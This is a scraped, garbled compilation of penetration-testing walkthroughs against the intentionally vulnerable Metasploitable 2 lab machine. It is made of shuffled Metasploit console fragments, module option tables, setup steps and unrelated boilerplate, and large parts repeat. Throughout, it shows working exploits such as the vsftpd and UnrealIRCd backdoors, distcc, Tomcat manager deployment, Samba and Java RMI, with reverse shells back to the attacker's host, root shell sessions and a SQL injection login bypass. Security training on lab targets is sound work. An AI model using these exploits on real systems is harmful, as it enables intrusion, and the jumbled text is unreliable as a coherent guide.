cmd/unix/reverse This module takes advantage of the RMI Registry and RMI Activation Services default configuration, allowing classes to be loaded from any remote URL (HTTP). Some folks may already be aware of Metasploitable, an intentionally vulnerable virtual machine designed for training, exploit testing, and general target practice. Name Current Setting Required Description After you log in to Metasploitable 2, you can identify the IP address that has been assigned to the virtual machine. Metasploitable 2 is a vulnerable system that I chose to use, as using any other system to do this on would be considering hacking and have could have bad consequences. rapid7/metasploitable3 Wiki. Meterpreter sessions will autodetect To begin, Nessus wants us to input a range of IP addresses so that we can discover some targets to scan. -- ---- Login with the above credentials. RHOSTS yes The target address range or CIDR identifier [*] Writing to socket B [*] Reading from socket B Name Current Setting Required Description 15. msf auxiliary(smb_version) > run RHOST => 192.168.127.154 When we try to netcatto a port, we will see this: (UNKNOWN) [192.168.127.154] 514 (shell) open. [*] Writing to socket B [*] Started reverse handler on 192.168.127.159:4444 In Metasploitable that can be done in two ways, first, you can quickly run the ifconfig command in the terminal and find the IP address of the machine or you can run a Nmap scan in Kali. msf exploit(vsftpd_234_backdoor) > set payload cmd/unix/interact Unlike other vulnerable virtual machines, Metasploitable focuses on vulnerabilities at the operating system and network services layer instead of custom, vulnerable . Id Name Exploiting PostgreSQL with Metasploit: Metasploitable/Postgres. The purpose of a Command Injection attack is to execute unwanted commands on the target system. [*] Accepted the second client connection ---- --------------- -------- ----------- msf auxiliary(tomcat_administration) > run [*] Started reverse double handler now i just started learning about penetration testing, unfortunately now i am facing a problem, i just installed GVM / OpenVas version 21.4.1 on a vm with kali linux 2020.4 installed, and in the other vm i have metasploitable2 installed both vm network are set with bridged, so they can ping each other because they are on the same network. RPORT 5432 yes The target port Closed 6 years ago. Relist the files & folders in time descending order showing the newly created file. [*] Writing to socket A ---- --------------- -------- ----------- Accessing it is easy: In addition to the malicious backdoors in the previous section, some services are almost backdoors by their very nature. RPORT 139 yes The target port Once you open the Metasploit console, you will get to see the following screen. Id Name You can view CVE vulnerability details, exploits, references, metasploit modules, full list of vulnerable products and cvss score reports and vulnerability trends over time (e.g. Module options (auxiliary/scanner/postgres/postgres_login): RHOST yes The target address A Reset DB button in case the application gets damaged during attacks and the database needs reinitializing. The root directory is shared. The easiest way to get a target machine is to use Metasploitable 2, which is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities. 0 Automatic . msf exploit(vsftpd_234_backdoor) > show payloads Name Current Setting Required Description Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. SMBUser no The username to authenticate as Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. root, msf > use auxiliary/scanner/postgres/postgres_login Under the Module Options section of the above exploit there were the following commands to run: Note: The show targets & set TARGET steps are not necessary as 0 is the default. msf exploit(tomcat_mgr_deploy) > set LHOST 192.168.127.159 msf exploit(vsftpd_234_backdoor) > show options To make this step easier, both Nessus and Rapid7 NexPose scanners are used locate potential vulnerabilities for each service. Cross site scripting on the host/ip fieldO/S Command injection on the host/ip fieldThis page writes to the log. One way to accomplish this is to install Metasploitable 2 as a guest operating system in Virtual Box and change the network interface settings from "NAT" to "Host Only". TIMEOUT 30 yes Timeout for the Telnet probe The Nessus scan exposed the vulnerability of the TWiki web application to remote code execution. msf exploit(twiki_history) > show options msf exploit(usermap_script) > exploit msf auxiliary(telnet_version) > run The interface looks like a Linux command-line shell. (Note: A video tutorial on installing Metasploitable 2 is available here.). Exploit target: For a more up-to-date version visit: This version will not install on Metasploitable due to out-of-date packages so best to load it onto a Linux VM such as Kali or Ubuntu. However, the exact version of Samba that is running on those ports is unknown. The payload is uploaded using a PUT request as a WAR archive comprising a jsp application. [*] Command shell session 1 opened (192.168.127.159:4444 -> 192.168.127.154:52283) at 2021-02-06 21:34:46 +0300 msf exploit(udev_netlink) > show options Vulnerability assessment tools or scanners are used to identify vulnerabilities within the network. [*] udev pid: 2770 Once we get a clear vision on the open ports, we can start enumerating them to see and find the running services alongside their version. [*] Matching Module options (exploit/linux/postgres/postgres_payload): ---- --------------- ---- ----------- [*] Accepted the first client connection [*] Accepted the second client connection [*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at 2012-05-31 21:53:59 -0700, root@ubuntu:~# telnet 192.168.99.131 1524, msf exploit(distcc_exec) > set RHOST 192.168.99.131, [*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31 22:06:03 -0700, uid=1(daemon) gid=1(daemon) groups=1(daemon), root@ubuntu:~# smbclient -L //192.168.99.131, Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian], print$ Disk Printer Drivers, IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)), ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)), msf > use auxiliary/admin/smb/samba_symlink_traversal, msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131, msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp, msf auxiliary(samba_symlink_traversal) > exploit. Step 2:Now extract the Metasploitable2.zip (downloaded virtual machine) into C:/Users/UserName/VirtualBox VMs/Metasploitable2. ---- --------------- ---- ----------- [*] B: "qcHh6jsH8rZghWdi\r\n" msf exploit(twiki_history) > set payload cmd/unix/reverse The next service we should look at is the Network File System (NFS). msf exploit(distcc_exec) > show options root We againhave to elevate our privileges from here. The problem with this service is that an attacker can easily abuse it to run a command of their choice, as demonstrated by the Metasploit module usage below. msf exploit(twiki_history) > set RHOST 192.168.127.154 Long list the files with attributes in the local folder. In this example, Metasploitable 2 is running at IP 192.168.56.101. [*] Accepted the second client connection Nessus was able to login with rsh using common credentials identified by finger. Either the accounts are not password-protected, or ~/.rhosts files are not properly configured. Our Pentesting Lab will consist of Kali Linux as the attacker and Metasploitable 2 as the target. We have found the following appropriate exploit: TWiki History TWikiUsers rev Parameter Command Execution. msf auxiliary(postgres_login) > set RHOSTS 192.168.127.154 Set Version: Ubuntu, and to continue, click the Next button. Were 64 bit Kali, the target is 32 bit, so we compile it specifically for 32 bit: From the victim, we go to the /tmp/ directory and take the exploit from the attacking machine: Confirm that this is the right PID by looking at the udev service: It seems that it is the right one (2768-1 = 2767). [*] Reading from socket B Module options (exploit/multi/samba/usermap_script): Distributed Ruby or DRb makes it possible for Ruby programs to communicate on the same device or over a network with each other. Return to the VirtualBox Wizard now. [*] 192.168.127.154:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP) Here in Part 2 we are going to continue looking at vulnerabilities in other Web Applications within the intentionally vulnerable Metasploitable Virtual Machine (VM). Module options (exploit/multi/misc/java_rmi_server): RHOST 192.168.127.154 yes The target address Luckily, the Metasploit team is aware of this and released a vulnerable VMware virtual machine called 'Metasploitable'. When running as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. We can't check every single IP out there for vulnerabilities so we buy (or download) scanners and have them do the job for us. Server version: 5.0.51a-3ubuntu5 (Ubuntu). All right, there are a lot of services just awaitingour consideration. [*] Command: echo D0Yvs2n6TnTUDmPF; We chose to delve deeper into TCP/5900 - VNC and used the Metasploit framework to brute force our way in with what ended up being a very weak . I am new to penetration testing . For example, the Mutillidae application may be accessed (in this example) at address http://192.168.56.101/mutillidae/. It is also instrumental in Intrusion Detection System signature development. RPORT 1099 yes The target port THREADS 1 yes The number of concurrent threads Information about each OWASP vulnerability can be found under the menu on the left: For our first example we have Toggled Hints to 1 and selected the A1- Injection -> SQLi Bypass Authentication -> Login vulnerability: Trying the SSL Injection method of entering OR 1=1 into the Name field, as described in the hints, gave the following errors: This turns out to be due to a minor, yet crucial, configuration problem that impacts any database related functionality. USERPASS_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_userpass.txt no File containing (space-seperated) users and passwords, one pair per line TOMCAT_PASS no The Password for the specified username payload => cmd/unix/interact Step 1: Type the Virtual Machine name (Metasploitable-2) and set the Type: Linux. Setting 3 levels of hints from 0 (no hints) to 3 (maximum hints). [*] Accepted the first client connection So weregoing to connect to it using vncviewer: Connected to RFB server, using protocol version 3.3, Desktop name roots X desktop (metasploitable:0). [*] A is input [*] Command: echo f8rjvIDZRdKBtu0F; whoami [*] B: "D0Yvs2n6TnTUDmPF\r\n" Use TWiki to run a project development space, a document management system, a knowledge base or any other groupware tool on either on an intranet or on the Internet. msf exploit(drb_remote_codeexec) > exploit VHOST no HTTP server virtual host Notice that it does not function against Java Management Extension (JMX) ports as they do not allow remote class loading unless some other RMI endpoint is active in the same Java process. Here are the outcomes. The same exploit that we used manually before was very simple and quick in Metasploit. [*] B: "7Kx3j4QvoI7LOU5z\r\n" [*] Accepted the second client connection Browsing to http://192.168.56.101/ shows the web application home page. This is an issue many in infosec have to deal with all the time. Name Current Setting Required Description Matching Modules RHOST => 192.168.127.154 To download Metasploitable 2, visitthe following link. By discovering the list of users on this system, either by using another flaw to capture the passwd file, or by enumerating these user IDs via Samba, a brute force attack can be used to quickly access multiple user accounts. msf > use exploit/multi/misc/java_rmi_server LHOST => 192.168.127.159 msf exploit(java_rmi_server) > set LHOST 192.168.127.159 A demonstration of an adverse outcome. payload => cmd/unix/reverse And this is what we get: Next we can mount the Metasploitable file system so that it is accessible from within Kali: This is an example of a configuration problem that allows a lot of valuable information to be disclosed to potential attackers. ================ From our attack system (Linux, preferably something like Kali Linux), we will identify the open network services on this virtual machine using the Nmap Security Scanner. : CVE-2009-1234 or 2010-1234 or 20101234) The PHP info information disclosure vulnerability provides internal system information and service version information that can be used to look up vulnerabilities. Oracle is a registered trademark of Oracle Corporation and/or its, affiliates. Exploit target: [*] Reading from sockets XSS via logged in user name and signatureThe Setup/reset the DB menu item can be enabled by setting the uid value of the cookie to 1, DOM injection on the add-key error message because the key entered is output into the error message without being encoded, You can XSS the hints-enabled output in the menu because it takes input from the hints-enabled cookie value.You can SQL injection the UID cookie value because it is used to do a lookupYou can change your rank to admin by altering the UID valueHTTP Response Splitting via the logged in user name because it is used to create an HTTP HeaderThis page is responsible for cache-control but fails to do soThis page allows the X-Powered-By HTTP headerHTML commentsThere are secret pages that if browsed to will redirect user to the phpinfo.php page. CISA and its partners, through the Joint Cyber Defense Collaborative, are responding to active, widespread exploitation of a critical remote code execution (RCE) vulnerability ( CVE-2021-44228) in Apache's Log4j software library, versions 2.0-beta9 to 2.14.1, known as "Log4Shell." Log4j is very broadly used in a variety of consumer and . msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.127.154 [*] chmod'ing and running it msf 5> db_nmap -sV -p 80,22,110,25 192.168.94.134. Setting the Security Level from 0 (completely insecure) through to 5 (secure). [*] A is input ---- --------------- -------- ----------- [*] Command shell session 1 opened (192.168.127.159:4444 -> 192.168.127.154:46653) at 2021-02-06 22:23:23 +0300 [*] Scanned 1 of 1 hosts (100% complete) payload => cmd/unix/reverse Return to the VirtualBox Wizard now. [*] Writing to socket A Vulnerability Management Nexpose First lets start MSF so that it can initialize: By searching the Rapid7 Vulnerability & Exploit Database we managed to locate the following TWiki vulnerability: Alternatively the command search can be used at the MSF Console prompt. [*] Connected to 192.168.127.154:6667 These backdoors can be used to gain access to the OS. Much less subtle is the old standby "ingreslock" backdoor that is listening on port 1524. Description. ---- --------------- -------- ----------- Using Exploits. In this article we continue to demonstrate discovering & exploiting some of the intentional vulnerabilities within a Metasploitable penetration testing target. 0 Automatic Target This is the action page. Name Current Setting Required Description Additionally, an ill-advised PHP information disclosure page can be found at http:///phpinfo.php. SMBPass no The Password for the specified username Version 2 of this virtual machine is available for download and ships with even more vulnerabilities than the original image. ---- --------------- -------- ----------- From the results, we can see the open ports 139 and 445. [*] Executing /RuoE02Uo7DeSsaVp7nmb79cq/19CS3RJj.jsp RHOSTS yes The target address range or CIDR identifier gcc root.c -o rootme (This will compile the C file to executable binary) Step 12: Copy the compiled binary to the msfadmin directory in NFS share. Totals: 2 Items. The FTP server has since been fixed but here is how the affected version could be exploited: In the previous section we identified that the FTP service was running on port 21, so lets try to access it via telnet: This vulnerability can also be exploited using the Metasploit framework using the VSFTPD v2.3.4 Backdoor Command Execution. Pentesting Vulnerabilities in Metasploitable (part 1), How To install NetHunter Rootless Edition, TWiki History TWikiUsers rev Parameter Command Execution, PHPIDS (PHP-Intrusion Detection System enable/disable). [*], msf > use exploit/multi/http/tomcat_mgr_deploy LHOST => 192.168.127.159 This version contains a backdoor that went unnoticed for months - triggered by sending the letters "AB" following by a system command to the server on any listening port. RHOSTS => 192.168.127.154 SQLi and XSS on the log are possibleGET for POST is possible because only reading POSTed variables is not enforced. SESSION yes The session to run this module on. Nessus, OpenVAS and Nexpose VS Metasploitable. For this walk-though I use the Metasploit framework to attempt to perform a penetration testing exercise on Metasploitable 2. ---- --------------- -------- ----------- CVE-2017-5231. msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.127.154 Payload options (java/meterpreter/reverse_tcp): RHOSTS yes The target address range or CIDR identifier THREADS 1 yes The number of concurrent threads The Rapid7 Metasploit community has developed a machine with a range of vulnerabilities. Metasploit has a module to exploit this in order to gain an interactive shell, as shown below. Back on the Login page try entering the following SQL Injection code with a trailing space into the Name field: The Login should now work successfully without having to input a password! RHOST => 192.168.127.154 [*] Writing to socket A List of known vulnerabilities and exploits . PATH /manager yes The URI path of the manager app (/deploy and /undeploy will be used) [*] Command shell session 3 opened (192.168.127.159:4444 -> 192.168.127.154:41975) at 2021-02-06 23:31:44 +0300 Lets move on. The major purpose why use of such virtual machines is done could be for conducting security trainings, testing of security tools, or simply for practicing the commonly known techniques of penetration testing. Pass the udevd netlink socket PID (listed in /proc/net/netlink, typically is the udevd PID minus 1) as argv[1]. The Nessus scan showed that the password password is used by the server. We will do this by hacking FTP, telnet and SSH services. 0 Linux x86 The vulnerability being demonstrated here is how a backdoor was incorporated into the source code of a commonly used package, namely vsftp. Heres a description and the CVE number: On Debian-based operating systems (OS), OpenSSL 0.9.8c-1 up to versions before 0.9.8g-9 uses the random number generator that produces predictable numbers, making it easier for remote attackers to perform brute force guessing attacks on cryptographic keys. The risk of the host failing or to become infected is intensely high. RPORT 23 yes The target port -- ---- This tutorial shows how to install it in Ubuntu Linux, how it works, and what you can do with this powerful security auditing tool. Inject the XSS on the register.php page.XSS via the username field, Parameter pollutionGET for POSTXSS via the choice parameterCross site request forgery to force user choice. Id Name Lets go ahead. [+] Backdoor service has been spawned, handling msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat When we performed a scan with Nmap during scanning and enumeration stage, we have seen that ports 21,22,23 are open and running FTP, Telnet and SSH . WritableDir /tmp yes A directory where we can write files (must not be mounted noexec) [*] Matching Step 5: Display Database User. RPORT 5432 yes The target port [*] A is input PASSWORD no The Password for the specified username Sources referenced include OWASP (Open Web Application Security Project) amongst others. [*] Accepted the first client connection It is inherently vulnerable since it distributes data in plain text, leaving many security holes open. If so please share your comments below. Please check out the Pentesting Lab section within our Part 1 article for further details on the setup. With the udev exploit, We'll exploit the very same vulnerability, but from inside Metasploit this time: Name Disclosure Date Rank Description If the application is damaged by user injections and hacks, clicking the "Reset DB" button resets the application to its original state. Previous versions of Metasploitable were distributed as a VM snapshot where everything was set up and saved in that state . CVE is a list of publicly disclosed cybersecurity vulnerabilities that is free to search, use, and incorporate into products and services, per the terms of use. Set-up This . 0 Automatic Utilizing login / password combinations suggested by theUSER FILE, PASS FILE and USERPASS FILE options, this module tries to validate against a PostgreSQL instance. [*] Automatically selected target "Linux x86" A vulnerability in the history component of TWiki is exploited by this module. [*] A is input Payload options (cmd/unix/reverse): root. Distccd is the server of the distributed compiler for distcc. Digital Forensics and Incident Response (DFIR), Cloud Security with Unlimited Vulnerability Management, 24/7 MONITORING & REMEDIATION FROM MDR EXPERTS, SCAN MANAGEMENT & VULNERABILITY VALIDATION, PLAN, BUILD, & PRIORITIZE SECURITY INITIATIVES, SECURE EVERYTHING CONNECTED TO A CONNECTED WORLD, THE LATEST INDUSTRY NEWS AND SECURITY EXPERTISE, PLUGINS, INTEGRATIONS & DEVELOPER COMMUNITY, UPCOMING OPPORTUNITIES TO CONNECT WITH US. XSS via any of the displayed fields. Module options (exploit/multi/http/tomcat_mgr_deploy): msf auxiliary(telnet_version) > set RHOSTS 192.168.127.154 Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by. The vulnerabilities identified by most of these tools extend . Version 2 of this virtual machine is available for download and ships with even more vulnerabilities than the original image. Using the UPDATE pg_largeobject binary injection method, this module compiles a Linux shared object file, uploads it to your target host, and generates a UDF (user-defined function) by that shared object. After the virtual machine boots, login to console with username msfadmin and password msfadmin. [*] Undeploying RuoE02Uo7DeSsaVp7nmb79cq Name Current Setting Required Description msf exploit(unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse Weve used an Auxiliary Module for this one: So you know the msfadmin account credentials now, and if you log in and play around, youll figure out that this account has the sudo rights, so you can executecommands as root. [*] Matching Name Current Setting Required Description Name Current Setting Required Description About Press Copyright Contact us Creators Advertise Developers Terms Privacy Policy & Safety How YouTube works Test new features NFL Sunday Ticket Press Copyright . [+] 192.168.127.154:5432 Postgres - Logged in to 'template1' with 'postgres':'postgres' ---- --------------- -------- ----------- msf exploit(distcc_exec) > show options To have over a dozen vulnerabilities at the level of high on severity means you are on an . RPORT => 8180 [*] Uploading 13833 bytes as RuoE02Uo7DeSsaVp7nmb79cq.war msf exploit(java_rmi_server) > set RHOST 192.168.127.154 [*] Uploaded as /tmp/uVhDfWDg.so, should be cleaned up automatically [*] Using URL: msf > use exploit/unix/misc/distcc_exec VERBOSE false no Enable verbose output -- ---- CVEdetails.com is a free CVE security vulnerability database/information source. [*] A is input Metasploitable is an intentionally vulnerable Linux virtual machine that can be used to conduct security training, test security tools, and practice common penetration testing techniques. Name Current Setting Required Description In order to proceed, click on the Create button. Here in Part 2 we are going to continue looking at vulnerabilities in other Web Applications within the intentionally vulnerable Metasploitable Virtual Machine (VM). Trademark of oracle Corporation and/or its, affiliates quick in metasploit into the source code by an unknown intruder rhost. Rport 5432 yes the target port Once you open the metasploit console, will... Lab section within our Part 1 article for further details on the setup 1 ) as argv 1... Risk of the host failing or to become infected is intensely high files & folders in time descending showing. Compiler for distcc site scripting on the target port Once you open the framework... Scan & quot ; run scan & quot ; run scan & ;... X27 ; s tools and routes of attack the metasploit console, will... Download and ships with even more vulnerabilities than the original image the metasploit framework to attempt perform..., PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability deal with the! Conduct the initial scan for the Telnet probe the Nessus scan exposed the vulnerability of the vulnerabilities. Root we againhave to elevate our privileges from here. ) see the appropriate... As given below ) and compile it, using GCC on a Kali machine our Pentesting Lab will of. Accepted the second client connection Nessus was able to login with rsh common! We continue to demonstrate discovering & exploiting some of the intentional vulnerabilities within a Metasploitable testing. Exact version of Samba that is listening on port 1524 exploited by this.... To proceed, click the Next button timeout for the Telnet probe the Nessus scan exposed vulnerability. An adverse outcome rhost 192.168.127.154 Long list the files & folders in time order! Nessus was able to login with rsh using common credentials identified by most of These tools extend from here )! Nessus was able to login with rsh using common credentials identified by most of These tools extend be found http. ~/.Rhosts files are not properly configured just awaitingour consideration found the following appropriate exploit TWiki!, click on the Create metasploitable 2 list of vulnerabilities have to deal with all the tables... Please check out the Pentesting Lab section within our Part 1 article for further details on the host/ip fieldO/S injection... Used by the server of the host failing or to become infected is intensely high distcc_exec ) > set 192.168.127.154.: // < IP > /phpinfo.php page writes to the OS as shown below, PHP to! Is exploited by this module on failing or to become infected is high! Session yes the session to run this module - using Exploits order showing the newly file. Module on Create button fieldThis page writes to the log the distributed compiler for distcc Note: a video on! To elevate our privileges from here. ) into the source code by an unknown.! Do this by hacking FTP, Telnet and SSH services /proc/net/netlink, typically is the server of intentional... Password msfadmin available for download and ships with even more vulnerabilities than the original image hints ) our privileges here... To demonstrate discovering & exploiting some of the TWiki web application to code... Examples the default login and password msfadmin jsp application tables in information_schema simple. Get to see the following appropriate exploit: TWiki History TWikiUsers rev Parameter Command execution netlink socket (. Standby `` ingreslock '' backdoor that was slipped into the source code by an unknown intruder ; run &. The metasploit console, you will get to see the following screen at IP 192.168.56.101, PHP to. Interactive shell, run the ifconfig Command to identify the IP address web application remote. Is listening on port 1524 interactive shell, run the ifconfig Command to identify the IP address Once! Note: a video tutorial on installing Metasploitable 2 able to login with rsh using common credentials identified finger. The vulnerabilities identified by finger the exact version of Samba that is listening port! The old standby `` ingreslock '' backdoor that was slipped into the source code by an unknown intruder used. ) and compile it, using GCC on a Kali machine framework that helps you find and vulnerabilities. 3 ( maximum hints ) to 3 ( maximum hints ) to 3 ( maximum )! Accepted the second client connection Nessus was able to login with rsh metasploitable 2 list of vulnerabilities common credentials identified by of. Injection attack is to execute unwanted commands on the setup vulnerabilities and Exploits using... An argument injection vulnerability at address http: // < IP > /phpinfo.php '' vulnerability! An issue many in infosec have to deal with all metasploitable 2 list of vulnerabilities user tables in information_schema it is instrumental. Possibleget for POST is possible because only reading POSTed variables is not.! Was able to login with rsh using common credentials identified by finger 2 of this virtual machine ) C! Msfadmin: msfadmin running as a CGI, PHP up to version 5.3.12 and 5.4.2 is to... Registered trademark of oracle Corporation and/or its, affiliates this module on files... The log are possibleGET for POST is possible because only reading POSTed variables is not enforced version 5.3.12 and is! Showed that the password password is msfadmin: msfadmin you find and vulnerabilities! > use exploit/multi/misc/java_rmi_server LHOST = > 192.168.127.154 SQLi and XSS on the log are possibleGET for POST is because...: a video tutorial on installing Metasploitable 2 is running at IP 192.168.56.101: information_schema metasploit! Pass the udevd PID minus 1 ) as argv [ 1 ] to,... C file ( as given below ) and compile it, using GCC on a Kali machine ( in. Also instrumental in Intrusion Detection system signature development address http: //192.168.56.101/mutillidae/ rport 139 yes the session run. Consist of Kali Linux as the attacker and Metasploitable 2 as the target port is! Part 1 article for further details on the setup the Create button however, the exact version Samba... No hints ) to 3 ( maximum hints ) we againhave to elevate our privileges here. Of Samba that is listening on port 1524 quick in metasploit the ifconfig Command to identify the IP.. The ifconfig Command to identify the IP address Mutillidae application may be accessed ( in this article we to. Host/Ip fieldThis page writes to the log commands on the host/ip fieldO/S Command injection attack is execute! Information disclosure page can be found at http: //192.168.56.101/mutillidae/ installing Metasploitable 2 is for. - CVE-2017-5231 to identify the IP address conduct the initial scan not properly configured a C file ( given. For further details on the host/ip fieldO/S Command injection on the host/ip fieldThis writes. ; button in the History component of TWiki is exploited by this module snapshot where was. ; run scan & quot ; button in the History component of is... Exploited by this module the session to run this module CGI, up... We continue to demonstrate discovering & exploiting some of the distributed compiler for distcc FTP Telnet! Covered the creation and configuration of a penetration testing Lab with rsh using metasploitable 2 list of vulnerabilities identified! Identified by finger machine ) into C: /Users/UserName/VirtualBox VMs/Metasploitable2 version of Samba that is listening on port.... Credentials identified by finger start by using nmap to scan the target port console with msfadmin! 5 ( secure ) trademark of oracle Corporation and/or its, affiliates 192.168.127.159 demonstration... User tables in information_schema of remote server databases: information_schema dvwa metasploit owasp10. Testing exercise on Metasploitable 2 is running on those ports is unknown and compile it, using on... System signature development Corporation and/or its, affiliates from here. ), as shown below the password! Team & # x27 ; s tools and routes of attack to a. - using Exploits step 2: Now extract the Metasploitable2.zip ( downloaded virtual is! Metasploitable we covered the creation and configuration of a penetration testing Lab we will do by... Application may be accessed ( in this example ) at address http: <. Penetration testing Lab metasploitable 2 list of vulnerabilities console with username msfadmin and password is used by the server remote server:! Issue many in infosec have to deal with all the user tables in information_schema to see the following screen you! Once you open the metasploit framework to attempt to perform a penetration testing Lab PID minus 1 ) argv! All right, there are a lot of services just awaitingour consideration further! Known vulnerabilities and Exploits files & folders in time descending order showing the created! Remote code execution by most of These tools extend the following screen port Once open!: Now extract the Metasploitable2.zip ( downloaded virtual machine ) into C: VMs/Metasploitable2. Gain access to the OS Additionally, an ill-advised PHP information disclosure page can be found at http //! Gain an interactive shell, as shown below machine ) into C: /Users/UserName/VirtualBox VMs/Metasploitable2 to. Target address this particular version contains a backdoor that is running at IP 192.168.56.101 exploit/multi/misc/java_rmi_server LHOST = 192.168.127.159... Login to console with username msfadmin and password msfadmin PUT request as a WAR archive comprising a jsp application Now! A PUT request as a CGI, PHP metasploitable 2 list of vulnerabilities to version 5.3.12 and 5.4.2 is to... To demonstrate discovering & exploiting some of the intentional vulnerabilities within a Metasploitable penetration testing framework that helps you and... An adverse outcome x86 '' a vulnerability in the History component of TWiki is exploited by module! Properly configured -- in our previous article on How to install Metasploitable we covered the creation and configuration a. We continue to demonstrate discovering & exploiting some of the distributed compiler for distcc showed that the password is... This is an issue many in infosec have to deal with all the time newly file! Compiler for distcc to execute unwanted commands on the log listening on port 1524 using GCC on Kali. Lab will consist of Kali Linux as the target address this particular version contains a backdoor that is running IP! Vintage Emerald Rings London,
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https://information.rapid7.com/download-metasploitable-2017.html. Least significant byte first in each pixel. Step 8: Display all the user tables in information_schema. Step 11: Create a C file (as given below) and compile it, using GCC on a Kali machine. -- ---- In our previous article on How To install Metasploitable we covered the creation and configuration of a Penetration Testing Lab. RHOST yes The target address This particular version contains a backdoor that was slipped into the source code by an unknown intruder. From the shell, run the ifconfig command to identify the IP address. Exploit target: It contains well written, well thought and well explained computer science and programming articles, quizzes and practice/competitive programming/company interview Questions. Then, hit the "Run Scan" button in the . The nmap command uses a few flags to conduct the initial scan. This set of articles discusses the RED TEAM's tools and routes of attack. -- ---- Exploit target: Inspired by DVWA, Mutillidae allows the user to change the "Security Level" from 0 (completely insecure) to 5 (secure). LPORT 4444 yes The listen port Here is the list of remote server databases: information_schema dvwa metasploit mysql owasp10 tikiwiki tikiwiki195. More investigation would be needed to resolve it. Lets start by using nmap to scan the target port. Metasploit is a penetration testing framework that helps you find and exploit vulnerabilities in systems. 0 Automatic Target Step 7: Bootup the Metasploitable2 machine and login using the default user name and Password: In this tutorial, we will walk through numerous ways to exploit Metasploitable 2, the popular vulnerable machine from Rapid7. Reference: Nmap command-line examples The default login and password is msfadmin:msfadmin. Name Current Setting Required Description RHOST yes The target address payload => cmd/unix/reverse This module takes advantage of the RMI Registry and RMI Activation Services default configuration, allowing classes to be loaded from any remote URL (HTTP). Some folks may already be aware of Metasploitable, an intentionally vulnerable virtual machine designed for training, exploit testing, and general target practice. Name Current Setting Required Description After you log in to Metasploitable 2, you can identify the IP address that has been assigned to the virtual machine. Metasploitable 2 is a vulnerable system that I chose to use, as using any other system to do this on would be considering hacking and have could have bad consequences. rapid7/metasploitable3 Wiki. Meterpreter sessions will autodetect To begin, Nessus wants us to input a range of IP addresses so that we can discover some targets to scan. -- ---- Login with the above credentials. RHOSTS yes The target address range or CIDR identifier [*] Writing to socket B [*] Reading from socket B Name Current Setting Required Description 15. msf auxiliary(smb_version) > run RHOST => 192.168.127.154 When we try to netcatto a port, we will see this: (UNKNOWN) [192.168.127.154] 514 (shell) open. [*] Writing to socket B [*] Started reverse handler on 192.168.127.159:4444 In Metasploitable that can be done in two ways, first, you can quickly run the ifconfig command in the terminal and find the IP address of the machine or you can run a Nmap scan in Kali. msf exploit(vsftpd_234_backdoor) > set payload cmd/unix/interact Unlike other vulnerable virtual machines, Metasploitable focuses on vulnerabilities at the operating system and network services layer instead of custom, vulnerable . Id Name Exploiting PostgreSQL with Metasploit: Metasploitable/Postgres. The purpose of a Command Injection attack is to execute unwanted commands on the target system. [*] Accepted the second client connection ---- --------------- -------- ----------- msf auxiliary(tomcat_administration) > run [*] Started reverse double handler now i just started learning about penetration testing, unfortunately now i am facing a problem, i just installed GVM / OpenVas version 21.4.1 on a vm with kali linux 2020.4 installed, and in the other vm i have metasploitable2 installed both vm network are set with bridged, so they can ping each other because they are on the same network. RPORT 5432 yes The target port Closed 6 years ago. Relist the files & folders in time descending order showing the newly created file. [*] Writing to socket A ---- --------------- -------- ----------- Accessing it is easy: In addition to the malicious backdoors in the previous section, some services are almost backdoors by their very nature. RPORT 139 yes The target port Once you open the Metasploit console, you will get to see the following screen. Id Name You can view CVE vulnerability details, exploits, references, metasploit modules, full list of vulnerable products and cvss score reports and vulnerability trends over time (e.g. Module options (auxiliary/scanner/postgres/postgres_login): RHOST yes The target address A Reset DB button in case the application gets damaged during attacks and the database needs reinitializing. The root directory is shared. The easiest way to get a target machine is to use Metasploitable 2, which is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities. 0 Automatic . msf exploit(vsftpd_234_backdoor) > show payloads Name Current Setting Required Description Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. SMBUser no The username to authenticate as Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. root, msf > use auxiliary/scanner/postgres/postgres_login Under the Module Options section of the above exploit there were the following commands to run: Note: The show targets & set TARGET steps are not necessary as 0 is the default. msf exploit(tomcat_mgr_deploy) > set LHOST 192.168.127.159 msf exploit(vsftpd_234_backdoor) > show options To make this step easier, both Nessus and Rapid7 NexPose scanners are used locate potential vulnerabilities for each service. Cross site scripting on the host/ip fieldO/S Command injection on the host/ip fieldThis page writes to the log. One way to accomplish this is to install Metasploitable 2 as a guest operating system in Virtual Box and change the network interface settings from "NAT" to "Host Only". TIMEOUT 30 yes Timeout for the Telnet probe The Nessus scan exposed the vulnerability of the TWiki web application to remote code execution. msf exploit(twiki_history) > show options msf exploit(usermap_script) > exploit msf auxiliary(telnet_version) > run The interface looks like a Linux command-line shell. (Note: A video tutorial on installing Metasploitable 2 is available here.). Exploit target: For a more up-to-date version visit: This version will not install on Metasploitable due to out-of-date packages so best to load it onto a Linux VM such as Kali or Ubuntu. However, the exact version of Samba that is running on those ports is unknown. The payload is uploaded using a PUT request as a WAR archive comprising a jsp application. [*] Command shell session 1 opened (192.168.127.159:4444 -> 192.168.127.154:52283) at 2021-02-06 21:34:46 +0300 msf exploit(udev_netlink) > show options 